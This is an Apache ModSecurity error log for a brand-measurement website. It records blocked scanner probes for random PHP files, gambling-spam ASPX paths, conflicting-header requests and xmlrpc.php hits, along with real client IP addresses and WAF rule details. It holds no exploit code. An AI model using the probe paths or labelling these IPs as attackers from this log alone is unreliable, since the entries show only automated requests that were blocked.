[Tue Mar 17 09:32:58.389472 2026] [:error] [pid 45916:tid 45978] [client 72.146.42.181:24998] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmzrp.php"] [unique_id "abivSriS53PnClk_C9BNOgAAAFA"]
[Tue Mar 17 09:33:00.624644 2026] [:error] [pid 45915:tid 45931] [client 72.146.42.181:28790] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmzrp.php"] [unique_id "abivTJh7U84ydzcrcnc_LAAAAAI"]
[Tue Mar 17 09:33:04.681790 2026] [:error] [pid 45916:tid 45965] [client 72.146.42.181:38851] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmzrp.php"] [unique_id "abivULiS53PnClk_C9BNRwAAAEM"]
[Tue Mar 17 09:33:08.295547 2026] [:error] [pid 14817:tid 14842] [client 72.146.42.181:36986] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmzrp.php"] [unique_id "abivVOBWVgTpR3dKOga3WQAAAVA"]
[Tue Mar 17 09:33:16.446992 2026] [:error] [pid 15013:tid 15077] [client 72.146.42.181:25852] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/weoci.php"] [unique_id "abivXFZc-p7DonmJmm2sZAAAAgA"]
[Tue Mar 17 09:33:17.836194 2026] [:error] [pid 46020:tid 46046] [client 72.146.42.181:28209] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/weoci.php"] [unique_id "abivXX-nCcd9BdzGdLdNGgAAANg"]
[Tue Mar 17 09:33:18.591682 2026] [:error] [pid 14929:tid 14942] [client 72.146.42.181:36901] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/weoci.php"] [unique_id "abivXvTUDuLSLjNnyaurEQAAAYY"]
[Tue Mar 17 09:33:41.629575 2026] [:error] [pid 45915:tid 45943] [client 72.146.42.181:24990] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/euhpb.php"] [unique_id "abivdZh7U84ydzcrcnc_ogAAAA4"]
[Tue Mar 17 09:33:47.948612 2026] [:error] [pid 15013:tid 15091] [client 72.146.42.181:14104] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/euhpb.php"] [unique_id "abive1Zc-p7DonmJmm2slwAAAg4"]
[Tue Mar 17 09:33:48.870571 2026] [:error] [pid 45915:tid 45934] [client 72.146.42.181:13651] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/euhpb.php"] [unique_id "abivfJh7U84ydzcrcnc_twAAAAU"]
[Tue Mar 17 09:33:49.838446 2026] [:error] [pid 15162:tid 15169] [client 72.146.42.181:40655] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/euhpb.php"] [unique_id "abivfbkCW4399PnBfYSf9gAAAkI"]
[Tue Mar 17 09:51:53.178224 2026] [:error] [pid 45916:tid 45975] [client 43.166.239.145:45128] [client 43.166.239.145] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abizubiS53PnClk_C9BVQQAAAE0"]
[Tue Mar 17 10:50:50.492151 2026] [:error] [pid 45916:tid 45972] [client 43.130.67.33:45920] [client 43.130.67.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abjBiriS53PnClk_C9BxbwAAAEo"]
[Tue Mar 17 15:24:47.088967 2026] [:error] [pid 45916:tid 45972] [client 43.164.197.177:59850] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abkBv7iS53PnClk_C9AmRAAAAEo"]
[Tue Mar 17 15:28:59.934177 2026] [:error] [pid 22541:tid 22547] [client 89.39.107.202:21975] [client 89.39.107.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.39.107.202, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abkCu6S6JNY1-CTsTA_BhQAAAQE"]
[Tue Mar 17 17:16:33.542276 2026] [:error] [pid 15011:tid 15070] [client 182.42.111.156:50774] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abkb8cNtgHlAHiPlDypA8gAAAdU"]
[Tue Mar 17 18:30:22.526956 2026] [:error] [pid 15013:tid 15083] [client 93.67.169.70:56721] [client 93.67.169.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.67.169.70, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abktPlZc-p7DonmJmm0vFgAAAgY"]
[Tue Mar 17 19:12:36.695773 2026] [:error] [pid 45916:tid 45963] [client 43.167.245.18:38810] [client 43.167.245.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abk3JLiS53PnClk_C9CCSwAAAEE"]
[Tue Mar 17 20:43:08.603653 2026] [:error] [pid 45916:tid 45982] [client 54.37.86.225:47460] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ablMXLiS53PnClk_C9CepwAAAFQ"]
[Tue Mar 17 20:43:11.286481 2026] [:error] [pid 45916:tid 45971] [client 54.37.86.225:42676] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ablMX7iS53PnClk_C9CeqgAAAEk"]
[Tue Mar 17 20:43:14.026022 2026] [:error] [pid 45916:tid 45969] [client 54.37.86.225:52834] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ablMYriS53PnClk_C9CerQAAAEc"]
[Tue Mar 17 20:43:16.745400 2026] [:error] [pid 15162:tid 15167] [client 54.37.86.225:52842] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ablMZLkCW4399PnBfYQAYgAAAkA"]
[Tue Mar 17 20:43:19.527544 2026] [:error] [pid 14929:tid 14957] [client 54.37.86.225:52846] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ablMZ_TUDuLSLjNnyavg8wAAAZU"]
[Tue Mar 17 20:43:22.148007 2026] [:error] [pid 15162:tid 15184] [client 54.37.86.225:52862] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ablMarkCW4399PnBfYQAZgAAAlE"]
[Tue Mar 17 20:43:24.755591 2026] [:error] [pid 15013:tid 15081] [client 54.37.86.225:43572] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ablMbFZc-p7DonmJmm1F3AAAAgQ"]
[Tue Mar 17 20:43:27.325689 2026] [:error] [pid 45915:tid 45947] [client 54.37.86.225:43576] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ablMb5h7U84ydzcrcneXFQAAABI"]
[Tue Mar 17 20:43:30.255948 2026] [:error] [pid 45915:tid 45937] [client 54.37.86.225:43578] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ablMcph7U84ydzcrcneXIwAAAAg"]
[Tue Mar 17 20:43:32.808214 2026] [:error] [pid 14817:tid 14832] [client 54.37.86.225:60166] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ablMdOBWVgTpR3dKOgZSZQAAAUY"]
[Tue Mar 17 20:43:35.225982 2026] [:error] [pid 22541:tid 22565] [client 54.37.86.225:60168] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ablMd6S6JNY1-CTsTA8akgAAARM"]
[Tue Mar 17 20:43:37.756466 2026] [:error] [pid 22541:tid 22551] [client 54.37.86.225:60174] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ablMeaS6JNY1-CTsTA8algAAAQU"]
[Tue Mar 17 20:43:40.277202 2026] [:error] [pid 14929:tid 14953] [client 54.37.86.225:60186] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "ablMfPTUDuLSLjNnyavg_QAAAZE"]
[Tue Mar 17 20:43:43.020496 2026] [:error] [pid 45915:tid 45936] [client 54.37.86.225:38476] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ablMf5h7U84ydzcrcneXPAAAAAc"]
[Tue Mar 17 20:43:45.771370 2026] [:error] [pid 14817:tid 14829] [client 54.37.86.225:38484] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ablMgeBWVgTpR3dKOgZSgQAAAUM"]
[Tue Mar 17 20:43:48.656129 2026] [:error] [pid 15011:tid 15060] [client 54.37.86.225:38494] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ablMhMNtgHlAHiPlDypT1gAAAcs"]
[Tue Mar 17 20:43:51.163708 2026] [:error] [pid 22541:tid 22565] [client 54.37.86.225:38510] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ablMh6S6JNY1-CTsTA8aqwAAARM"]
[Tue Mar 17 20:43:53.841959 2026] [:error] [pid 45916:tid 45985] [client 54.37.86.225:58098] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ablMibiS53PnClk_C9Ce1AAAAFc"]
[Tue Mar 17 20:43:56.462847 2026] [:error] [pid 14817:tid 14842] [client 54.37.86.225:58114] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ablMjOBWVgTpR3dKOgZSjwAAAVA"]
[Tue Mar 17 20:43:59.008663 2026] [:error] [pid 45916:tid 45973] [client 54.37.86.225:58128] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ablMj7iS53PnClk_C9Ce3gAAAEs"]
[Tue Mar 17 20:44:01.493230 2026] [:error] [pid 45916:tid 45962] [client 54.37.86.225:58142] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ablMkbiS53PnClk_C9Ce4AAAAEA"]
[Tue Mar 17 20:44:03.975332 2026] [:error] [pid 14817:tid 14838] [client 54.37.86.225:38636] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ablMk-BWVgTpR3dKOgZSmQAAAUw"]
[Tue Mar 17 20:44:24.787774 2026] [:error] [pid 15162:tid 15178] [client 54.37.86.225:38650] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ablMqLkCW4399PnBfYQAngAAAks"]
[Tue Mar 17 20:44:27.372987 2026] [:error] [pid 15013:tid 15081] [client 54.37.86.225:57758] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ablMq1Zc-p7DonmJmm1GJAAAAgQ"]
[Tue Mar 17 20:44:29.953287 2026] [:error] [pid 45915:tid 45935] [client 54.37.86.225:57764] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "ablMrZh7U84ydzcrcneXcQAAAAY"]
[Tue Mar 17 20:44:32.388139 2026] [:error] [pid 45915:tid 45938] [client 54.37.86.225:57780] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ablMsJh7U84ydzcrcneXdQAAAAk"]
[Tue Mar 17 20:44:34.719567 2026] [:error] [pid 45915:tid 45930] [client 54.37.86.225:37724] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ablMsph7U84ydzcrcneXggAAAAE"]
[Tue Mar 17 20:44:37.147786 2026] [:error] [pid 45915:tid 45935] [client 54.37.86.225:37734] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ablMtZh7U84ydzcrcneXiQAAAAY"]
[Tue Mar 17 20:44:39.513905 2026] [:error] [pid 15013:tid 15089] [client 54.37.86.225:37736] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ablMt1Zc-p7DonmJmm1GKwAAAgw"]
[Tue Mar 17 20:44:42.119168 2026] [:error] [pid 45916:tid 45971] [client 54.37.86.225:37746] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ablMuriS53PnClk_C9Ce_gAAAEk"]
[Tue Mar 17 20:44:44.539154 2026] [:error] [pid 45917:tid 45999] [client 54.37.86.225:42644] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ablMvBMMhmeqL5fT_hffUAAAAIo"]
[Tue Mar 17 20:44:46.980508 2026] [:error] [pid 15011:tid 15060] [client 54.37.86.225:42660] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ablMvsNtgHlAHiPlDypT8AAAAcs"]
[Tue Mar 17 20:44:49.378117 2026] [:error] [pid 15013:tid 15080] [client 54.37.86.225:42670] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ablMwVZc-p7DonmJmm1GLwAAAgM"]
[Tue Mar 17 20:44:51.822305 2026] [:error] [pid 15013:tid 15093] [client 54.37.86.225:42682] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ablMw1Zc-p7DonmJmm1GNAAAAhA"]
[Tue Mar 17 20:44:54.226012 2026] [:error] [pid 45915:tid 45944] [client 54.37.86.225:51518] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ablMxph7U84ydzcrcneXoQAAAA8"]
